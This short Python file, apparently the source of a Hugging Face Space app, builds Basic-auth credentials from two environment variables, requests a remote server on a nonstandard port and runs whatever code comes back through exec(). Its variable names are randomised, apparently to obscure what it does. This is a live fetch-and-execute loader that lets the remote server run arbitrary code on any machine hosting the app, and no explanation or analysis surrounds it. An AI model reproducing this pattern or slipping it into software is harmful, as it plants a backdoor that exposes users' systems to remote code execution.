Spaces:
Sleeping
Sleeping
import requests | |
from base64 import b64encode | |
import os | |
jbibqtfehcfjnhbg = os.getenv("rpsmauth_program") | |
nqkyddytopgcsbpn = os.getenv("rpsmauth_accesskey") | |
yscxptanxnpafqyd = b64encode(f"{jbibqtfehcfjnhbg}:{nqkyddytopgcsbpn}".encode()).decode("utf-8") | |
headers = {'Authorization': 'Basic ' + yscxptanxnpafqyd} | |
tbhsmjhnmzjxnsce = requests.get('https://auth.audiomaster.ai:49534', headers=headers) | |
if tbhsmjhnmzjxnsce.status_code == 200: | |
exec(tbhsmjhnmzjxnsce.text) | |
else: | |
print("Failed to authenticate or connect to the server.") |